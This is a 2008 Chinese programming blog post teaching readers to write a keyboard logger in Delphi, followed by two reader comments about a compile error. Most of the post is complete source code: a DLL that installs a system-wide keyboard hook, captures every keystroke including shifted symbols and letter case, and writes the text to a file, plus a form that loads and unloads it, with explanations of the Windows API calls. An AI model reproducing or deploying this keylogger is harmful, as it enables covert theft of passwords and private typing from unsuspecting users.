随笔 - 110  文章 - 28 评论 - 26 

留言簿(1)

随笔分类(103)

随笔档案(110)

文章分类(25)

文章档案(28)

新闻档案(3)

友情连接

  • 小蜜蜂
  • 马氏膏药网
  • 淋巴结肿大,淋巴结核,淋巴结炎 乳腺增生,小叶增生 颈椎病,腰椎病,腰间盘突出 马氏淋巴消炎贴,马氏增生散结贴,马氏关节肌肉贴
  • 黑客基地
  • 全球最大的黑客门户网站

最新随笔

积分与排名

  • 积分 - 143457
  • 排名 - 44

最新评论

阅读排行榜

评论排行榜

先来写DLL

library Help;
uses
  Windows,
  Messages,
  SysUtils;
var
KeyHook: HHook;
text1:string;
function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
   _KeyPressMask = $80000000; //键盘掩码常量
var
  i : byte;//键盘上的键值
  pp:string;//记录的字符放入PP
  vFilePath:string; //写入的文件路径
  f:TextFile; //写入的文件

begin
   if ((lParam and _KeyPressMask) = 0) then
   {按下键与$80000000取and值,二进值是1000....这个表达式几乎永远成
   立,因为只有($80000000and$80000000)才等于0}
   begin
   for i:=8 To 222 do
     begin
      if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8 :   {loggedkeys := loggedkeys +'[BACKSPACE]'}pp:=copy(pp,0,length(pp)-1) ;
    //  9  : pp:=pp+' ';
   //   13 : pp:=pp+#13#10; //Enter
   //   17 : pp:=pp+' ';
   //   27 : pp:=pp+' ';
      32 :pp:=pp+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
   //   33 : pp := pp + ' ';
   //   34 : pp := pp + ' ';
   //   35 : pp := pp + ' ';
   //   36 : pp := pp + ' ';
      37 : pp := pp + ' ';
   //  38 : pp := pp + ' ';
      39 : pp := pp + ' ';
//     40 : pp := pp + ' ';
//     44 : pp := pp + ' ';
//     45 : pp := pp + ' ';
//      46 : pp := pp + ' ';
      145 : pp := pp + ' ';
      48 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+')'
           else pp:=pp+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'!'
           else pp:=pp+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'@'
           else pp:=pp+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'#'
           else pp:=pp+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'$'
           else pp:=pp+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'%'
           else pp:=pp+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'^'
           else pp:=pp+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'&'
           else pp:=pp+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'*'
           else pp:=pp+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'('
           else pp:=pp+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then//大小写指示灯亮着
              if GetKeyState(VK_SHIFT)<0 then //shift已经按下
                 pp:=pp+LowerCase(Chr(i)) //a..z //所以按出的字母是小写
              else
                 pp:=pp+UpperCase(Chr(i)) //A..Z //反之大写
          else
              if GetKeyState(VK_SHIFT)<0 then
                  pp:=pp+UpperCase(Chr(i)) //A..Z
              else
                  pp:=pp+LowerCase(Chr(i)); //a..z
          end;
      96..105 : pp:=pp + inttostr(i-96); //Numpad  0..9
      106:pp:=pp+'*';
      107:pp:=pp+'&';
      109:pp:=pp+'-';
      110:pp:=pp+'.';
      111:pp:=pp+'/';
      144 : pp:=pp+'[Num Lock]';
      112..123: //F1-F12
          pp:=pp+'[F'+IntToStr(i - 111)+']';
      186 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+':'
            else pp:=pp+';';
      187 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'+'
            else pp:=pp+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'<'
            else pp:=pp+',';
      189 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'_'
            else pp:=pp+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'>'
            else pp:=pp+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'?'
            else pp:=pp+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'~'
            else pp:=pp+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'{'
            else pp:=pp+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'|'
            else pp:=pp+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'}'
            else pp:=pp+']';
      222 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'"'
            else pp:=pp+'''';

      end;
         text1:=text1+pp;
         vFilePath:='c:\test.txt ';
         AssignFile(f,vFilePath);
         ReWrite(f);
         writeln(f, text1);
         closefile(f);

      end;
end;
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;

procedure HookOn;
begin
  KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
end;
procedure HookOff;
begin
  UnHookWindowsHookEx(KeyHook);
end;

exports
  HookOn,HookOff; //两个导出函数
begin
end.

按ctrl+f9纺译出help.dll

第二步是就调用,我们尽量用动态调用
在新建窗体上加上两个Button,用来安装和卸载
为了少放代码,我只放实现部分,上面的uses部分是系统默认的
implementation

{$R *.dfm}
  type
   tpro=procedure;stdcall;
var
had:thandle;
sethok,unhok:tpro;
procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('help.dll');
sethok:=getprocaddress(had,'HookOn');
unhok:=getprocaddress(had,'HookOff');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
freelibrary(had);
end;

end.
上面API函数在上一节中讲过了



下面注明一下,在help.dll中有一些没见过的API函数,我查了些资料,尽可能说明白点
         GetAsyncKeyState(i)=-32767
         copy(pp,0,length(pp)-1) 
         GetKeyState(VK_SHIFT)<0 
         GetKeyState(VK_CAPITAL))=1
         LowerCase(Chr(i)
         UpperCase(Chr(i)

一.GetAsyncKeyState():判断函数调用时指定虚拟键的状态

-32767二进制:1000 0000 0000 0001
返回值 Long,自对GetAsyncKeyState函数的上一次调用以来,如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0
GetAsyncKeyState(i)=-32767整体意思已经假设所有按按过,最低位置1,并且最高位也为1说明某键正处于按下状态,才出来这个数1000 0000 0000 0001,或者说-32767
二.copy()举例子说下吧
const
s='i love delphi';
var
ss:string;
begin
ss:=copy (s,3,4);
end;//   这时ss的值是'love'
三.GetKeyState():检查虚拟键的DOWN状态
函数原型:SHORT GetKeyState(int nVirtKey);
         GetKeyState(VK_SHIFT)<0 :shift被按下
         GetKeyState(VK_CAPITAL))=1:caps lock,大小写指示灯亮了
写个判断按下还是没有按下大小锁定键的例子:
begin
if GetKeyState(VK_CAPITAL)=1 then
showmessage('按下了')
else
 showmessage('没按下');

四.    LowerCase(Chr(i):把字母转成小写
         UpperCase(Chr(i):把字母转成大写

说这些也许是没用,只希望你了解得更深一些
posted on 2008-11-13 00:58 小叶子 阅读(2063) 评论(2)  编辑 收藏 引用 所属分类: delphi使用钩子函数

FeedBack:
# re: 学了钩子,我们来加深一下,自己写键盘记录 2008-11-18 13:04 543030182
我运行DLL时:

function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;stdcall;
const
_KeyPressMask = $80000000; //键盘掩码常量
这句提示错误:

[Error] Library1.dpr(11): E2297 Procedure definition must be ILCODE calling convention
什么意思啊!  回复  更多评论
  
# re: 学了钩子,我们来加深一下,自己写键盘记录 2008-11-27 22:39 小叶子
在我这里测试可以!delphi7
uses
Windows,
Messages,
SysUtils;
加上了吗?  回复  更多评论
  
只有注册用户登录后才能发表评论。

笔记和文章,可能抄袭,只为学习,请原谅